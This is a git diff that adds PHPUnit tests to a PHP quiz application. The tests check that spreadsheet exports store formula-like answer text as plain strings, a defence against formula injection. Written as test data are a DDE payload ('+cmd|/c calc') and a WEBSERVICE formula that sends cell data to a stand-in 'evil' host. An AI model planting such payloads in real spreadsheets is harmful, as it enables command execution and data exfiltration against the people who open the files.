'plus-prefixed' => ['+cmd|/c calc']; + yield 'minus-prefixed' => ['-2+3']; + yield 'at-prefixed' => ['@SUM(1,1)']; + } + + #[DataProvider('dangerousValueProvider')] + public function testDangerousValuesAreStoredAsPlainStrings(string $value): void + { + $sheet = new Spreadsheet()->getActiveSheet(); + $sheet->setCellValue('A1', $value); + + $cell = $sheet->getCell('A1'); + $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); + $this->assertSame($value, $cell->getValue()); + } + + public function testOrdinaryValuesAreUnaffected(): void + { + $sheet = new Spreadsheet()->getActiveSheet(); + $sheet->setCellValue('A1', 'Anna en Bram'); + $sheet->setCellValue('A2', 42); + $sheet->setCellValue('A3', true); + + $this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue()); + $this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType()); + $this->assertSame(42, $sheet->getCell('A2')->getValue()); + $this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType()); + $this->assertTrue($sheet->getCell('A3')->getValue()); + $this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType()); + } +} diff --git a/tests/Repository/GivenAnswerRepositoryTest.php b/tests/Repository/GivenAnswerRepositoryTest.php new file mode 100644 index 0000000..75465b4 --- /dev/null +++ b/tests/Repository/GivenAnswerRepositoryTest.php @@ -0,0 +1,41 @@ +getSeasonByCode('krtek'); + $candidate = $this->getCandidateBySeasonAndName($krtekSeason, 'Tom'); + + $question = $this->questionRepository->findNextQuestionForCandidate($candidate); + $this->assertInstanceOf(Question::class, $question); + + $answers = $question->answers; + $this->assertGreaterThanOrEqual(2, $answers->count()); + + $firstAnswer = $answers->first(); + $secondAnswer = $answers->get(1); + $this->assertInstanceOf(Answer::class, $firstAnswer); + $this->assertInstanceOf(Answer::class, $secondAnswer); + + $this->entityManager->persist(new GivenAnswer($candidate, $question->quiz, $firstAnswer)); + $this->entityManager->flush(); + + $this->entityManager->persist(new GivenAnswer($candidate, $question->quiz, $secondAnswer)); + + $this->expectException(UniqueConstraintViolationException::class); + $this->entityManager->flush(); + } +} diff --git a/tests/Service/DataExportServiceTest.php b/tests/Service/DataExportServiceTest.php index 66815f5..845202b 100644 --- a/tests/Service/DataExportServiceTest.php +++ b/tests/Service/DataExportServiceTest.php @@ -5,6 +5,7 @@ declare(strict_types=1); namespace Tvdt\Tests\Service; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; +use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use PHPUnit\Framework\Attributes\CoversClass; @@ -202,6 +203,43 @@ final class DataExportServiceTest extends DatabaseTestCase $this->assertSame('Man', $claudiaRow[$questionColumnIndex]); } + public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void + { + $season = $this->getSeasonByCode('krtek'); + $quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]); + $this->assertInstanceOf(Quiz::class, $quiz); + $candidate = $this->getCandidateBySeasonAndName($season, 'Claudia'); + + /** @var Question $firstQuestion */ + $firstQuestion = $quiz->questions->first(); + /** @var Answer $chosenAnswer */ + $chosenAnswer = $firstQuestion->answers->first(); + $chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)'; + + $this->quizCandidateRepository->createIfNotExist($quiz, $candidate); + $this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer)); + $this->entityManager->flush(); + + $zip = $this->openZip($this->getUserByEmail('user2@example.org')); + $quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx'); + $this->assertIsString($quizContent); + $zip->close(); + + $sheet = $this->loadSheet($quizContent, 'Raw answers'); + $rows = $sheet->toArray(); + $header = $rows[0]; + $questionColumnIndex = array_search($firstQuestion->question, $header, true); + $this->assertIsInt($questionColumnIndex); + $column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1); + + $candidateNames = array_column(\array_slice($rows, 1), 0); + $rowNumber = 2 + array_search('Claudia', $candidateNames, true); + + $cell = $sheet->getCell($column.$rowNumber); + $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); + $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue()); + } + public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void { $season = $this->getSeasonByCode('krtek'); diff --git a/tests/Service/QuizSpreadsheetServiceTest.php b/tests/Service/QuizSpreadsheetServiceTest.php index 0503f7f..6293ab4 100644 --- a/tests/Service/QuizSpreadsheetServiceTest.php +++ b/tests/Service/QuizSpreadsheetServiceTest.php @@ -4,6 +4,7 @@ declare(strict_types=1); namespace Tvdt\Tests\Service; +use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer; @@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase $this->assertCount(3, $second->answers); } + public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void + { + $quiz = new Quiz(); + $question = new Question(); + $question->question = 'Who missed the assignment?'; + $question->ordering = 1; + $question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true)); + $question->addAnswer(new Answer('Bob', isRightAnswer: false)); + + $quiz->addQuestion($question); + + $path = $this->captureXlsx($this->subject->quizToXlsx($quiz)); + + $sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet(); + $cell = $sheet->getCell('B2'); + + $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); + $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue()); + } + public function testXlsxToQuizThrowsOnInvalidMimeType(): void { $path = $this->createTempPath('.txt');